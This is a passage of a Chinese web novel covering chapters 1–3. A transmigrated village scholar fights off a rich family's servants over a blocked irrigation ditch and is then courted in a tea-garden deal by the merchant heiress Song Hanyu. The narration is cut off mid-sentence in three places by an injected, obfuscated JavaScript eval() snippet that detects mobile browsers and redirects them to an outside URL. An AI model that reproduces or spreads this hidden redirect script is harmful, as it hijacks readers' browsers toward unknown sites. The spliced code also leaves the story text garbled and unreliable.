《和清冷大小姐协议成亲后》 1. 第 1 章 意识模糊之际，鼻尖萦绕着湿润泥土的气息，隐隐约约还有些许腥味飘过。而后一阵风轻拂，指尖似有冰冷的雨滴缠绕。 江溪竹茫然地睁开眼，待头脑逐渐清醒，她看到暗沉的天堆积着厚厚的云，点点细雨飘落，砸在她的脑门。 “嘶——”眉心有些疼痛，她抬手抚摸，低头一看，竟摸了一手血。 身后传来嘈杂的喧闹，夹杂着皮肉碰撞的声响，吵得头更疼了。 她扶着身侧的一株小树，慢慢站了起来。 瞧见不远处大约有二三十人又吵又闹，甚至动了手，好些人被打倒在地，捂着伤处呻.吟个不停。 “……这条沟渠又不是你柳家一家的！你们凭什么在这儿垒砂土让它改道？凭什么私吞所有的水？！” “这里必须挖开！这个水是大家共用的，你们再继续拦着也没用，我们已经报官了，等衙门的人来了，你们还得吃官司！” …… 江溪竹听了没一会儿，根据脑海里原身的记忆，她明白了眼下到底是个什么事。 她现在是元夏朝蒙山镇的一个小秀才，算是有点身份，所以在她们村子培植的茶园被柳家大户的人故意挖断水渠，无水可用后，村长找了许多壮汉前来声讨。 其中就有她这个小秀才，原本只是来撑场面的，可刚刚谈判不成，发生了肢体冲突，细胳膊细腿的她就第一个遭了罪。 也不知是谁狠狠推了她一把，倒下时撞在了开裂的枝干上，她的脑门划了道伤，原身看着鲜血流淌，竟被吓得死了过去。 接着她就从这具身体里醒了过来。 江溪竹叹了口气，待适应了身子后，撕下一小截袖子，缠在了脑门上。 眼见着那几波人已经打得鼻青脸肿还不停手，她捏了捏手腕，感受到没有原身那般柔弱后，飞身窜了过去，先扶着颤颤巍巍快要倒下的老村长，又鼓足一口气，接连踹飞柳家好几个仆从，随手折了一节细长的枯枝，如蜻蜓点水般扇在领头的那几人手上，竟打掉了他们手里的棍棒。 雨在这一刻停了。 唯有飒飒风声摇晃着茶树枝干，噼里啪啦的动静让在场所有人都清醒了不少。 柳家仆从看着头缠青布的女人，本想上前教训她一顿，可手上的伤痕和剧烈的疼痛让他们在原地踟蹰，不敢贸然行动。 领头的络腮胡青年男人凶狠地盯着江溪竹，朝地上啐了一口，“玛德，别以为你是秀才，大爷我就不敢揍你！再拦着闹事，你们一群人都别想走着离开！” 冯村长拄着拐杖，从江溪竹背后走出来，气愤让他干瘦的脸涨红了几分。 “柳小勇，这条沟渠是你们柳家、宋家和我们村子共用的，大家都靠着这水浇灌茶园。你们把这里堵上，不让水流下去，那是要断了宋家和我们茶园的生路！你以为只我们的人来要说法？宋家人怕是要赶着和衙门的人一起来了，到时候你还能这么猖狂？” 络腮胡嗤笑出声，“宋家就是个屁！衙门的人来了我们柳家也不怕，你要是有点眼力见，最好领着这些人滚下山去，不然……” 他轻蔑的目光扫向蒙山村的人，随后接着说道：“不然老头子你家里的棺材就要派上用场咯～” 太嚣张了，简直太嚣张了！ 蒙山村的人愤愤不平，抄起手上家伙就要上去干仗。 冯村长连忙制止，他看着已经伤势不轻的村民，心里很清楚，他们人少势寡，根本无力抵抗柳家大户，只能寄希望于快要赶来的衙役和宋家人，用强硬手段让柳家重新挖开横在这里的阻隔。 就在他盘算着要以哪些好处作为交换时，耳侧一阵疾风刮过，随后柳家仆从传来声声哀嚎。 他拄着拐杖转过身子，顿时瞪大了双眼—— 瘦弱的江小秀才挽起袖子，一把捞过搭在身后的马尾，咬在嘴里。随后如一道幻影般，左一拳右一掌地揍翻了所有仆从，最后飞踢一脚，狠狠踹飞了方才还嚣张跋扈的柳小勇。 他浑浊的眼里满是震惊，“虚……虚白你……你怎么……” 印象里的江家小丫头手不能提肩不能抗的，今天让她来也只是想着用秀才身份撑个场子，倒是没想到她这么能打？ 他盯着江溪竹发红的指节，忽然想起她爹也是个会些拳脚功夫的秀才——莫非这丫头是跟她爹私下里学的？ 冬季的冷风从袖口灌进去，江溪竹打了个冷颤。看着躺在地上的人已经没力气爬起来，她才将袖口放下去。 搓了搓手，有了些温度。她回到冯村长身边，赶忙移开了话题：“三叔公，快趁着柳家人动不了，赶紧把沟渠重新挖开，先放水要紧。” 冯村长回神，连忙点头，指挥着身后一群鼻青脸肿的壮汉：“快快快，拿起家伙，快把这里挖开！” 不到三尺的沟渠在众人你一锄头我一铲子下，很快就被重新挖开了。 冬天的水流要小一些，比不得夏季丰水期时的水量。但看到潺潺的流水沿着原先的渠道流淌下去时，蒙山村的人都忍不住欢呼了起来。 “你们……你们这些老瘪农……”旁边躺着的柳小勇挣扎着爬起来，指着村民们就要开骂。 江溪竹脚尖轻点，利落地勾起一小截树枝，踹到了柳小勇脸上，在他的嘴角留下了一道鲜红的痕迹。 疼痛让他龇牙咧嘴，随后两眼一翻晕了过去，再也说不出话来。 冯村长冷哼一声：“这件事老夫会一五一十告知镇长，你们柳家别想再偷偷摸摸堵上沟渠，不然就是拼了老命，老夫也会找柳启元要个说法！” 他指挥着一些伤势不重的年青人留在此处，看护着沟渠。 准备下山时，衙门的人姗姗来迟。 蒙山村的人有了底气，朝衙役们你一言我一语地说起了柳家的恶行。 最后在冯村长的引导下，满腹委屈的村民退到了后面，他从容地将刚才发生的事讲了出来，而后朝领头的衙役拱了拱手，说：“李捕头，想必你也知道，这条沟渠是二十年前官府出资修建的，既是分沙河的水流，也方便了各家茶园的灌溉。这么多年来，柳家仗着茶园在沟渠上游，已经偷偷摸摸动了许多手脚，但都是小打小闹，我们村的人也不想为此闹事，麻烦了官府。” “可是他柳家这次实在是太过分了，竟然在昨晚把沟渠偷偷堵上，改道去了他柳家茶园，一点儿水也不给我们村和宋家茶园留，这眼看着茶树就要发新芽了，要是没有水浇灌，那所有的茶树怕是要枯了……他柳家这是要逼死我们啊……” 说到最后，冯村长忍不住哽咽，他指着身后的村民，深深叹气，“我们村的人就靠着这些茶树活着，所以我们没办法，只能这样用强 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15730890|174012||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 硬手段先挖开沟渠。” 李捕头表示理解，说了些官话后，让手底下的人现场记录，又让柳家人跟着下山去衙门一趟。 柳小勇已经昏迷，柳家仆从不敢和衙门的人硬碰硬，只得灰溜溜地抬着他下了山。 “你们先回去上点药，下午找两个代表你们村的人去衙门里，镇长会为你们调解的。”李捕头随口安慰了几句，没说要怎么处置柳家擅自改道沟渠的事，只说调解二字。 这样的态度让蒙山村的人心底一沉。 天边的积云黑压压一片，像是压在了头顶，浓厚的阴影几乎让人喘不过气来。 待衙门的人一走，冯村长远眺他们离去的背影，无奈地摇了摇头。 “或许，我们的茶园没办法再保住了。” 蒙山镇以茶闻名于元夏，犹以坐落在蒙山村旁的蒙山产出的蒙山清茶为最佳。 而蒙山茶园自来便属于蒙山村，不过是几十年前，周围好些大户看不过这么一处很能挣钱的好地方被他们蒙山村独占，便想方设法要将茶园抢过去，但那些大户斗来斗去，最后只有宋家和柳家圈了地，占了茶园。 而蒙山村人损失掺重，也只留了几个小茶园。 好在茶叶不愁卖，也能卖得上价钱，所以他们村子的人还能靠着这项营生维持生计。 但按目前的情形来看，柳家和宋家恐怕还是想把他们村子占的地给抢过去呢！ “虚白啊，你的伤还好吗？” 下山路上，冯村长哀戚的眼看向了江溪竹。 他一把老骨头了，刚才已经强撑了半天，下午是没办法再去镇里了。而村里大多数人只会种茶采茶，去衙门里分辨，怕是要吃亏。 江溪竹是秀才，有功名在身，想来是能争辩一二的。就算柳家人还想耍横，在镇长面前也会顾忌她的秀才身份，不会太过分的。 所以冯村长的意思，是想让江溪竹去镇里。 江溪竹揉了揉脑门的伤，想着既然已经掺和了进来，那就继续掺和下去吧。 “我的伤没事。” “三叔公如果烦心待会儿去衙门的人选，或许我可以代表我们村走一趟。” 有了答复，冯村长心里松了口气，“那就让你大姑和你一道去，你们互相有个照应。” 江溪竹点了点头，随后同村长商议着待会儿的说辞，慢慢下了山。 细雨渐消，连绵的山峦间缭绕着层层云雾，新冒出的茶树嫩芽上挂着的水滴落在泥地里，清冽的茶香驱散了堆积的血腥气，而后随风飘来一缕脂粉浅香。 头戴帷帽的女子从茶园深处缓步而来，葱白的手掀开一道缝隙，那双浅茶色的眸子目送着一老一少离开。 “柳家的人还是那么不要脸，什么也不想出，搞些小动作，就要硬抢。”女子身旁的侍女也目睹了刚才发生的一切，她对于柳家的行为十分不齿。 表达了不忿后，她担心起了另一件事：“小姐，下午柳家和蒙山村的人就要坐下来和谈了，柳家会不会让镇长施压，逼蒙山村的人交出手里的地？” “不会。”宋含玉淡声开口，嗓音不似她柔媚的模样，倒像是清洌的甘泉，有些冷，又氤氲着些许令人着迷的韵味。 “张成言素来会明哲保身，他不想得罪柳家，但也不会为了柳家彻底得罪我们宋府。” 2. 第 2 章 不仅是柳家想要吞下蒙山村人手里剩下的茶园，她们宋府自然也想。只不过与柳家行事狠辣不留余地的做法不同，她们宋府奉行缓兵之计—— 先坐山观虎斗，必要时再出手。 而镇长张成言一直秉持着都不得罪的处事风格，在柳家和宋府左右逢迎，倒是游刃有余。想来这时候，他对柳家是不会太过偏颇的。 侍女云悠有些鄙夷：“镇长就是个墙头草。” 宋含玉垂下纱帘，指尖摩挲着袖中硬物——这是一枚雕刻着柳家印鉴的玉牌，昨夜刚从镇长书房取来的。 “由得他去。”她轻笑，“这玉牌在我手里，张成言知道后，会好生掂量的。” …… 不远处的袅袅山雾里停着一辆低调的马车，除了驾马的车夫外，还有一名衣着干练的中年女人。 瞧着宋含玉走近，女人迎了上来，神情隐有郁色，“小姐，老爷派人来催了几遍，让你查了账就……去食鼎楼一趟。” 云悠扶着宋含玉上了马车，接过她递来的帷帽，不放心地偷瞄了她一眼。 果然，这张明艳的脸早已失去了方才的神采，像是此刻堆积着浓云的暗沉天色。 事关老爷，云悠不敢置喙，默默收好了帷帽，放下了马车的车帘。 中年女人也坐上了马车，看了云悠一眼，低低轻叹一声，朝她摇了摇头，表示她也没办法劝慰里面那位几句。 马车晃晃悠悠朝着山脚驶去，车轱辘吱呀轻响，来回的晃动拨弄着窗边珠帘，冷风从帘缝灌入，玉珠碰撞出更为刺耳的动静，惹得人心烦闷，难以疏解。 宋含玉闭目，眉心轻拢，聚起了片片愁云，恍然间仿佛又看见了幽暗的堂屋内，父亲阴沉着脸，朝她扔下茶杯，七零八落的碎瓷块沾染着滚烫的茶汤，溅湿了她的裙角。 …… 许久，耳侧传来模糊的说话声，打乱了宋含玉的思绪。她侧耳细听，似是方才在山上撂翻了柳家一群人的那名女子？ 眼眸微动，随后稍稍抬眼，神色如平静的湖面。 马车从一老一少旁边驶过时，恰好一阵风拂过，车帘飘荡，将缝隙扯大。 她侧头看去，平静的湖水泛起了一丝波澜，似乎涌动出不易察觉的暗流。 近距离瞧了一眼，那女子约摸十七八岁，鹅蛋脸，柳叶眉，粉嫩的红唇上，镶嵌着圆圆的唇珠。脸蛋周围虽然有一些污泥，但干净的地方也能看出她皮肤很白，是不常劳作的秀才模样。 宋含玉静静看着，直到马车驶离了一老一少。 重新倚靠在软垫上，她思索着今日在山上瞧见的场景，以及……那女子的漂亮模样。 随后她嘴角扬起一抹浅浅的弧度，冲散了眉心堆积着的愁云。 “是秀才啊……” 香风似有若无，江溪竹猛地打了个喷嚏，回过神来后，发觉身旁的村长已经许久没说话了。余光一瞥，看到他盯着前方缓缓驶过的马车，目光深沉，里面藏着数不尽的忧愁。 “三叔公？” 村长摇了摇头，很是惆怅，随后压低了声音说道：“那是宋家的马车。” “原来宋家早就来人了。” 江溪竹看不懂村长眼底的悲凉，只是听他说刚才驶过的是宋家马车，便好奇地看了过去。 所以她刚刚感受到的灼热视线，是来自宋家的人？ “虚白，”村长拍了拍江溪竹的肩，语气沉重地对她叮嘱，“谈判后，如果柳宋两家想要我们村的茶园，你和你大姑就商量着来……或许早些脱手，换些好处更妥当。” “反正啊，那茶园看样子也是保不了多久了，与其继续留在手里，任由柳宋两家折腾我们村，不如早点交换出去，及时止损。” 江溪竹抬眼，有些讶然。从原身记忆里，她知道茶园对于蒙山村人的意义，倒是没想到村长会舍得。 不过转念一想，若是剩下那些茶园还被蒙山村握在手里，或许后面柳家还有更多狠辣的手段，而刚才瞧那衙役的模样，恐怕是不会为蒙山村人做主的。 至于宋家？也不是善茬吧？ “走吧，你回家收拾收拾，先去镇上把额头上的伤处理，没什么大碍了再和你姑去衙门。”来到村口，冯村长掏出了两块碎银子，塞到了江溪竹手中，“别推辞，这是三叔公单独给你的，好好收着，别让人瞧见了。” 今日的事，让江溪竹吃了大亏，伤在额头上，流了那么多血，虽然现在看着她精神头很不错，但到底是受了伤，该给她补偿一二的，不然他这心里，很不好受啊。 江溪竹拿着碎银子，笑了笑后，随手揣进了兜里，“那就多谢三叔公了。” 二人分别，江溪竹根据脑海里的记忆，往村尾的家慢慢走去。 村落依山而建，低矮的砖瓦房在四处散落，袅袅炊烟升起，热腾腾的饭菜香味扑面而来。 伴随着鸡鸣狗叫的声音，江溪竹推开了家里的木门。 “咋才回来？那柳家人咋说？沟渠挖开了没？” 她的身子探进去，打量着周围陌生又熟悉的一切，右手边厨房里锅铲搅动的声响里，夹杂着原身母亲的高声询问。 江溪竹还未回答，猪棚外的茅草垛里飞快跳出一只黄色的狗，摇着尾巴蹿到了她的面前，边嚎叫边抬起两只前腿就要往她身上扑。 她被吓了一跳，连连后退，“别别别！别靠过来！” 她认出这是原身家里养的看家黄狗，但这狗爪子上满是污泥，江溪竹生怕它靠过来弄脏了衣衫——虽然她的衣裳早在山上时就已沾上了泥点。 不过黄狗聪明，像是听懂了她的话，放下了前腿，只在她周围来回踱步，时而耸着鼻尖在她身上嗅，时而发出低低的嘤嘤叫。似乎是闻出了血腥味，知道她受了伤，在担心的询问。 江溪竹还不适应，只得试探性伸出手，黄狗连忙扬起脑袋，任由她抚摸。 毛茸茸的手感挺好，让她心里的排斥感散了不少，她慢慢拍了拍黄狗的头顶，安抚着它，“好了好了，我没事，你不要担心。” “什么没事？”江母端着菜盘子走了出来，她眼睛不大好，只模模糊糊地看到江溪竹在逗黄将军，“别跟它玩了，去洗个手吃饭了。” 江溪竹嗯了一声，打了水，简单清洁了身上的脏污，擦干了手，来到堂前，坐在矮木凳上。 桌上有一盘小炒青菜，一小碟蒜苗炒肉，江母夹了两片肥瘦相间的肉，放在了江溪竹的饭碗上，“这肉是你大姑早上提来的，好大一坨呢！还新鲜着呢，我切了一半下来，掐了你爱吃的蒜苗和着炒，剩下一半放在水缸上，等下回你想吃了，再给你弄。” 肉很香，看着很下饭。江溪竹虽然不太能接受别人给她夹菜，但这会儿确实是饿急了，又不能让江母看出她不是原身来，便端起碗，勉强把肉和着饭刨进了嘴里，顺便也给江母夹了两筷子肉和青菜。 “你也吃。” 江母的手艺很好，炒的肉肥而不腻，青菜口感清爽，江溪竹很意外地闷头干了两碗饭。 看着桌上的菜被她吃得不多了，她有些不好意思。等江母搁下了碗筷，她立即起身，收拾了桌子。 “妮儿，柳家的人动手了？你这儿咋有一道口子？” 江母一抬头，隐约瞧见江溪竹额头有一道痕迹，仔细嗅了嗅，还有轻微的血腥气？ 她忙按住江溪竹的手，站起身来凑过去，仔仔细细地看了看。 “被人推了，跌了一跤，摔的。”江溪竹刚刚洗手的时候已经简单处理了额上的伤，洗去血迹后，伤痕已经不那么骇人了。所以她不怕江母担心，任由她打量，“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15730891|174012||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就是浅浅的伤，没什么要紧的。” 尽管听到她再三保证这伤没什么事，江母还是担心得不行，急急忙忙就要去屋里的犄角疙瘩找些蛛网来给她敷上。 “真不用这个。”江溪竹连连拒绝，为转移江母的注意力，遂指了指厨房，尽量用原身撒娇般的语气对她说：“我想洗个澡，不如你……不如娘帮我烧点热水吧。” 江母见她坚持，嗔了她一眼，收拾好碗筷后，利落地去厨房烧热水了。 木柴塞满了灶台下的锅底，火烧得很旺，没一会儿水烧开了。江母拿了木桶来舀满，江溪竹赶紧上前接过，一口气提了起来。 “诶！妮儿！你身子弱，快放下，我来提！” 江母一向是不让江溪竹做家务的，在她的认知里，她的妮儿是秀才，是读书人，那手就该握笔杆子，而不是拿扫帚捡柴火做粗活儿的。 “没事，我提得动。”江溪竹很客气地拒绝了，毕竟她刚吃了江母做的饭，是要做些家务来回报的。而且她也不能像原身那样一直当衣来伸手饭来张口的米虫，如果连这点小事都让眼睛不好的江母来做，那她也太不当人了。 水桶不大，装满了水也不是很重，拎着走到茅房里几趟，江溪竹也没觉得有多累。 可让她感到心累的是茅房是个旱厕，一进去就臭气熏天，即便盛满了热水的大木盆在最里面，看不到旱厕，但那味儿也让她快要呕出来了。 她不太想在这里面洗澡，只是刚才她看过了屋子的布局—— 她现在这个家只有三间屋子，两间是她和江母的卧房，都很小，放了木床和木桌后，其他地方都堆满了杂物，没有洗澡的空间。另一间就是厨房了，堆着烧火用的木柴，沾不得一点儿水，所以也没办法在那里面洗澡。 江溪竹很头疼。 穿越后来到这个陌生的世界，她第一次感到极不适应、想要逃离的强烈情绪。 “妮儿？”江母拿着换洗的布衣走进来，放在了木凳上，“你发啥呆？再不洗水就凉了。” 思绪被打断，江溪竹回神。 耳侧还有江母颇为唠叨的碎碎念，随着她从身边走过，带起的风将浓郁的臭味堆积在鼻尖，经久不散。 江溪竹叹了口气，放低了呼吸后，摒弃脑海里只想逃离的想法，慢慢解开了外衣。 “马上就洗，娘你先出去吧。” 这是一次堪比酷刑的沐浴，没有花洒、没有清香的沐浴露、没有令人舒心的淋浴室…… 江溪竹皱着眉，三下五除二很快洗完，迅速穿上干净的衣服，快步走了出去。 畅快地大口呼吸着新鲜空气，她似乎终于活了过来。 缓过神来后，她抬眼看去，瞧见门口那边有人在交谈，大概是看到了她出来，便朝她招了招手。 “妮儿才洗完，还没怎么休息，要不她大姑等她歇一会儿再去镇里？”江母把冯家大姑迎进了门，给她倒了一杯水。 想到方才冯家大姑说的话，她犹豫着说：“妮儿虽然是秀才，但刚才在山上那柳家……看样子是没给她面子的，动手后还让妮儿磕伤了头，这要是去了镇里，妮儿真能代表村里和谈吗？” 冯家大姑三十出头的年纪，身形不高，模样看起来很温和，但一开口，语气很是泼辣：“嫂子你别担心，虽然张成言怂得跟老鼠一样，但好歹是镇长，是代表官府的，不管他愿不愿意，在明面上肯定会维护着小竹儿的。” “总之嫂子你放心，有我在，就算柳家想耍横，我也能撕烂他们的嘴。”她爽朗一笑，再次保证道。 “而且小竹儿脑袋上的伤也该去镇上看看，不然读书人留了疤，可不好了！” 冯家大姑三言两语打消了江母的顾虑，带着收拾妥当的江溪竹坐上了门口的牛车，往镇上赶去了，“坐稳咯！” 3. 第 3 章 雨水顺着瓦檐滴落在青石板上，江溪竹撑着油纸伞站在医馆门前，额角的伤口已经覆了一层褐色药膏。 门内冯大姑正与药童争执，嗓门大得能掀翻屋顶：“两钱银子？你莫不是瞧我们乡下人好骗！这金疮药去年才卖八十文哩！” “这位娘子，如今战事吃紧，药材都——” “放你娘的屁！北边打仗关我们南边药材什么事？！” 江溪竹无奈地揉了揉太阳穴。没想到从前不曾体验过的砍价，穿越到这里后，倒是经历了一遭。 她摸了摸兜里的碎银子，打算先把钱付了。余光却瞥见巷口转角拐过一辆熟悉的马车——是在山脚遇到的宋家马车。 “小竹儿，发什么愣啊？”冯大姑把药包塞进她怀里，“走，去衙门会会柳家那群豺狼！” 只是在下一个拐角，一名中年女人出现在了她们面前，浅浅笑着：“江秀才，我们小姐有请。” 冯大姑很诧异，看向江溪竹。 中年女人身后停着那辆熟悉的马车，江溪竹心里有数了。她低声同冯大姑说来的是宋家人后，冯大姑眼珠一转，猜测宋家来人是为了她们村的茶园。 二人对视一眼，随着中年女人上了马车。 ...... 食鼎楼雅间内，宋含玉指尖摩挲着茶盏边缘。上好的蒙山茶汤澄澈，却映不出她眼底的翻涌情绪。 “去岁茶园的账你先搁下，现在要紧的是另一件事。”宋老爷抿了口清茶，不咸不淡地开口，搁下茶盏时，瓷杯撞在碗底，发出闷响。 宋含玉敛眉，“上午在蒙山时，已经在收尾了，再有个两三天，就能查完了，所以……” “不急。”宋老爷斜睨了她一眼，平静地说：“再有三月，你也有双十年华了，终身大事该提上日程了。” “我从前与你提起过的杜家，递了信来，说是同意让自家那小子入赘……待会儿人就来了，你与那小子见一面，若是合眼缘就赶紧定下来。” 窗外雨声渐急，宋含玉看着父亲淡漠的倒影映在窗纸上，忽然想起十年前那个雪夜，那时母亲刚难产过世，父亲就是用这种眼神看着她，说：“可惜啊，你若是男儿......” 她垂眸掩去眼底讥诮，低声分析着杜家的意图：“杜家有自己的茶楼，他同意入赘，恐怕所图不小。” “这个无妨，我与杜家已经商量好了，你们成婚后，将蒙山村剩下的几个茶园给他杜家，家里其余产业都由你握在手里。”宋老爷抚了抚胡须，颇为满意地说着自己的计划，“再等你生下两个孩子，一个随宋姓，一个随杜姓，两全其美。” 宋含玉的神色慢慢沉了下去，想不到她父亲与杜家已经商量到这个地步了。 这时候才通知她，是觉得所有事都定下来了，她就没办法反抗了吗？ “父亲，入赘不是这样的。”她的语气克制，握着杯盏的手逐渐收紧，“入赘，是他与杜家完全割舍，整个人都属于宋家。而不是得陇望蜀，还奢望我为他杜家生个孩子去继承他杜家的那三瓜两枣。” 宋老爷见她不满，只以为她在闹小女儿脾气，便轻声训斥道：“你以为为父愿意如此？若不是只他这个秀才松口，愿意入赘，为父也不至于答应他杜家这个要求。” 包厢的门紧闭，将外面的闹市声隔成阵阵模糊的嗡鸣。桌上的清茶已经凉透，青瓷盖碗边凝着几滴冷露，像是未落的泪。 “我若有别的人选呢？”宋含玉盯着手中的茶杯，指腹轻缓地擦拭掉这些无人在意的水珠。 宋老爷半眯着眼：“谁？” 宋含玉的脑海里闪过那张娇俏的脸。 虽然只匆匆一眼，但让她记忆十分深刻。她还记得那双圆圆的杏眼，像是沁在冰雪里的琉璃，清泠泠的，却又盈满了清透的浅光，不染俗尘，格外明净。 “蒙山村的一位女秀才。”宋含玉的话音极轻，却惊起了茶碗里几许冷掉的茶汤。 宋老爷盖碗的手顿住了，连手背上被溅满了水渍，也无心拂去。 “女秀才？” 不等宋含玉回答，他已勃然大怒：“女子怎可与女子成亲！简直是荒谬！” 袅袅茶烟在两人之间蜿蜒，宋含玉盯着这道扭曲的烟迹，握着茶盏的手愈发用力，纤细的骨节泛了白。 “父亲如此说，是认为皇后娘娘颁发的同性亦可结亲的懿旨，是不对的吗？” 话音落下，杯盏突然在脚边炸开，倒出的清茶顺着砖缝爬到裙角，像是数条狰狞的蜈蚣。 “放肆！”宋老爷紧紧盯着宋含玉，瞪圆的眼里闪过恼怒，“皇后娘娘乃天人，自然说什么都是对的。” “只是宋家有我当家一日，你就只能按我说的做！” …… 侍女云悠在门外听得心惊肉跳，直到宋含玉面色如常地走出来，才敢递上伞。却见小姐指尖挑开伞骨时，一缕殷红正顺着袖口滴落，她竟是将掌心掐出了血。 茶楼外雨声哗啦，青灰的屋檐下挂着串串雨珠，水汽夹杂着寒意扑来，周围似乎更凉了。 云悠隐下担忧，扶着宋含玉上了马车，放下车帘时，瞧见老爷身边的小厮来财急急忙忙进了食鼎楼。 布帘垂下，她坐在角落，捧了一碗热茶，递到宋含玉面前，“小姐，刚才我看到来财进去了，看起来好像有急事。” “你找人留意着，打听一下。”宋含玉神情恹恹，倚靠着软垫，合上了眼，语气平淡地随口吩咐。 云悠应下，又提起了另一件事：“周姨已经截下了蒙山村的那两人，现在人就在如意居里，小姐现在过去，还是……先换一身衣裙再去？” 她蹲坐在宋含玉脚边，一低头就能瞧见软烟罗的褶纹里洇着圈圈茶渍，泛着浑浊的黄，搅乱了小姐一身的清贵。 怪让她心疼的。 “现在就去。”宋含玉垂眸，看到云悠眼圈悄然泛红，不自觉软了声音：“等谈下了蒙山村的茶园，我便回家换干净的衣衫。” ...... 如意居是宋含玉的私产，最高的三楼尽头里，一直为她留着一间特殊的包厢。 寻常人都不知这包厢除了朝大堂开的门外，还有一道暗门。更不知由暗门进入，是包厢侧边的暗室。 包厢看不见暗室，而由暗室开的小窗能看见包厢内的情形。 此时，被宋家请来的江溪竹和冯大姑两人坐在包厢内，与宋家人商议着交出茶园后她们该有的好处。 “……五千两银子买下你们村的茶园，不少了，分到每一户头上，也有一百多两银子，要是开销不大，也够一家人用上十来年了。”周姨指挥着小二上菜，随后挥退了屋内一众人。 五千两？就想买断村子里所有人赖以生存的活计？ 冯大姑斜了她一眼，冷笑着说：“茶园是村子的命，你宋家家大业大，现在就拿这点打发我们？” “你也知道那点银子紧着点用，也只能用十来年？那茶园要是不卖给你们，我们村能靠着它世世代代活下去哩！” 冯大姑瞧不惯这些有钱人高高在上的臭毛病，语气很冲。但周管事倒是不恼，倒了杯茶递到了她二人面前，和缓地浅笑着：“这倒不难。那五千两银子是买断茶园的，但茶园难打理，我们手底下分不出多的人去打理，所以若你们村的人没什么意见的话，可以和我们宋府签订契约，为我们打理接手过来的茶园。” “自然报酬也不低，每户出两人打理茶园，每月可领一两银子，若是茶叶产量多，品质好，卖了更多的钱，也会给各位发额外的赏银。” 闻言，冯大姑端着茶杯的手一顿，内心震动。然她未表现出此刻的惊讶来，只打趣般问：“说得这样好听，你能做主定这样的契约？” 江溪竹也觉得这条件太好，担心有诈，便也接了话头：“你说的这契约要怎么签订？一年一签？还是签终生？” “若是终生，那这跟卖身契有什么区别？” 周管事赞同地点了点头：“自然不是签卖身契。蒙山村有哪些人同意接受雇佣，就与宋府一年一签，满一年契约期后，要不要续签，也是你们村的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15730892|174012||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人和宋府两方来做选择。” 意思就是，蒙山村人可以决定要不要继续雇佣关系，而宋府也有这个权利。 江溪竹觉得这样可以，便悄悄瞥了眼身旁的冯大姑，见她不动声色地点头，便知她也觉得不错。 “这些条件，你都可以做主？” 周管事见她二人面色平静，猜到她二人对此大概是满意，正要笑着应答，便听得身后的暗室内传来一道浅淡的嗓音： “只要蒙山村同意，此时此刻就能签订所有契约。” 女子的声音清泠泠的，带着不容置疑的质地，尾音略有慵懒韵味，像茶汤从壶嘴迟缓坠入杯盏之中。 “五千两加雇佣契约，如何？” 周管事见冯大姑似有惊疑，低声介绍了暗室那人的身份：“里面那位是我们宋府的嫡出大小姐，宋府正儿八经的话事人。” 冯大姑了然，但她觉得立马做决定太草率了，“这件事毕竟关系到我们村以后的活计，能不能让我和江秀才回村后，同大家伙儿商量商量？” “可以。”宋含玉透过小窗，目光淡淡地扫过那张青涩的脸，额上的伤痕敷了药膏，灰褐色的痕迹蓦地毁掉了整张脸的和谐，颇为碍眼。 “不过，宋府为表诚意，可以先给两百两银子，算作定金。” “定金？”江溪竹不知自己的神色被暗室的人一览无余，眉梢微挑，颇为谨慎地确认道：“如果我们村最后不考虑与宋府签订契约，这两百两的定金要翻几倍赔偿给宋府？” 少女圆圆的眼眸半阖着，像是身处陌生环境的野猫，周身毛发蓬松看似放松，却又鼻尖耸动隐隐警惕。 这神态当真是……可爱极了。 宋含玉抚着手中的药盒，心中的阴霾散了不少。略微侧头，那双漂亮的眸中跳跃着烛火微光，潋滟着春色芳华。 “不用赔偿。” 江溪竹震惊，以目光询问冯大姑是否与宋家人相识，不然宋府怎会给她们村这样的优待？ 然冯大姑也惊讶地看了她一眼，似乎是觉得宋家人如此做，是看在她的面子上？ “若是蒙山村不愿签订契约，那两百两银子，就当今日的见面礼。” 宋含玉摩挲着药盒上描的精致暗纹，嘴角弯起一个不起眼的弧度。 包厢内静默片刻，冯大姑虽觉得这样的好事就像是天上掉馅儿饼了一样，但考虑到江溪竹的秀才身份，便想着或许商贾出身的宋家只是想卖江溪竹一个好呢？ “也行。”有便宜不占白不占啊，冯大姑心中自有计较，连忙欢欢喜喜地应下了。 事已了，时候也不早了，江溪竹二人同宋家人告辞，准备快些去衙门一趟。 暗室内烛火跳动，映衬着女子侧脸白皙如瓷。 “小姐，那可是两百两啊！要是她们不同意把茶园卖给我们，那两百两真就不要回来了？” 